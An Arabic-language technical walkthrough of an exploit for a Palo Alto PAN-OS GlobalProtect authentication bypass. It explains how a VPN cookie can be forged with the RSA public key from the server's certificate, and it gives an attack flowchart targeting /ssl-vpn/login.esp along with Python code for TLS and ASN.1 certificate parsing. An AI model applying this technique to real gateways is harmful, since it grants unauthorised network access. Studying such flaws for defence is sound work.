
تحتوي Palo Alto Networks PAN-OS على ثغرة تجاوز للمصادقة ناتجة عن عيوب في بوابة (portal) وعبّارة (gateway) GlobalProtect، مما يتيح للمهاجمين إنشاء اتصالات VPN غير مصرح بها، ويتطلب الاستغلال وصولًا شبكيًا إلى البوابة أو العبّارة.
يحقق هذا الاستغلال وصولاً غير مصادَق إلى VPN لبوابة/مدخل Palo Alto GlobalProtect عن طريق تزوير ملف تعريف ارتباط مصادقة (cookie) باستخدام شهادة TLS المتاحة للعموم للخادم فقط.
تستخدم GlobalProtect ملف تعريف ارتباط ما قبل المصادقة (portal-userauthcookie) للسماح للعملاء بالمصادقة. إليك العيب القاتل:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
نظرًا لأن المفتاح العام RSA مضمّن في شهادة TLS للخادم (متاح للعموم لأي شخص يتصل)، يستطيع أي مهاجم:
هذا عيب مصادقة مكسورة من الطراز الأول — استخدام التشفير حيث كانت هناك حاجة إلى توقيع رقمي أو HMAC.
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]
لماذا خام؟ نحتاج إلى شهادة الخادم بصيغة DER (ثنائي خام). يُكمل موديول
sslفي بايثون مصافحة TLS بالكامل داخليًا ولا يكشف البايتات الخام للشهادة بالطريقة نفسها. وبإجراء اتصال TCP خام وإرسال ClientHello مصنوع يدويًا، يمكننا اعتراض استجابة الخادم على مستوى البايت.
يبدو سجل TLS بهذا الشكل:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
يحتوي جسم ClientHello على:
| الحقل | القيمة | الغرض |
|---|---|---|
| الإصدار (Version) | 0x03 0x03 (TLS 1.2) | يخبر الخادم أننا نتحدث TLS 1.2 |
| قيمة عشوائية (Random) | طابع زمني من 4 بايتات + 28 بايتًا عشوائيًا | قيمة Nonce للمصافحة |
| معرف الجلسة (Session ID) | 0x00 (فارغ) | لا استئناف للجلسة |
| حزم التشفير (Cipher Suites) | 9 حزم تشمل TLS_RSA_WITH_AES_128_CBC_SHA | الأساسي: نضمّن حزم RSA فقط لإجبار الخادم على استخدام شهادة RSA |
| الضغط (Compression) | 0x00 (بدون) | مطلوب |
الامتدادات المضمّنة:
| الامتداد | المعرف | الغرض |
|---|---|---|
| SNI (مؤشر اسم الخادم) | 0x0000 | يخبر الخادم باسم المضيف الذي نتصل به |
| خوارزميات التوقيع | 0x000D | يعلن عن خوارزميات التوقيع التي ندعمها |
| المجموعات المدعومة | 0x000A | منحنيات EC التي ندعمها (P-256, P-384, P-521) |
| تنسيقات نقاط EC | 0x000B | نقاط EC غير مضغوطة |
[!NOTE] تتضمن حزم التشفير عمدًا حزم تبادل مفاتيح RSA (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). يدفع هذا الخادم إلى الرد بشهادة RSA بدلاً من شهادة ECDSA — وهو أمر بالغ الأهمية لأن الاستغلال لا يعمل إلا مع RSA.
بعد إرسال ClientHello، يرسل الخادم عدة سجلات TLS:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
المرحلة 1 — إزالة ترويسات سجلات TLS:
كل سجل TLS له ترويسة من 5 بايتات: [النوع(1)] [الإصدار(2)] [الطول(2)]. يمسح الكود جميع السجلات، وأي سجل به type == 22 (مصافحة)، يدمج حمولاته:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
المرحلة 2 — العثور على رسالة الشهادة (النوع 11):
داخل تدفق المصافحة، لكل رسالة ترويسة من 4 بايتات: [النوع(1)] [الطول(3)]. نمسح بحثًا عن type == 11:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
المرحلة 3 — استخراج شهادات DER الفردية:
تحتوي رسالة الشهادة على قائمة شهادات، تسبق كل شهادة طول من 3 بايتات:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
في اختبارنا، حصلنا على 3 شهادات (شهادة الورقة، CA وسيطة، CA جذرية).
تفحص هذه الدالة بحثًا عن ServerHelloDone (نوع المصافحة 14)، الذي يخبرنا أن الخادم انتهى من الإرسال وأن بإمكاننا التوقف عن القراءة.
تُرمَّز شهادات X.509 بصيغة DER (قواعد الترميز المميَّزة)، وهي صيغة ثنائية مبنية على ASN.1 (تدوين الصيغة المجرّدة رقم واحد).
كل عنصر في DER هو:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
ترميز الطول:
0x80: فالطول هو تلك البايتة مباشرة (الصيغة القصيرة)0x80: تمثل البتات السبع المنخفضة عدد البايتات التالية التي ترمّز الطول (الصيغة الطويلة)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value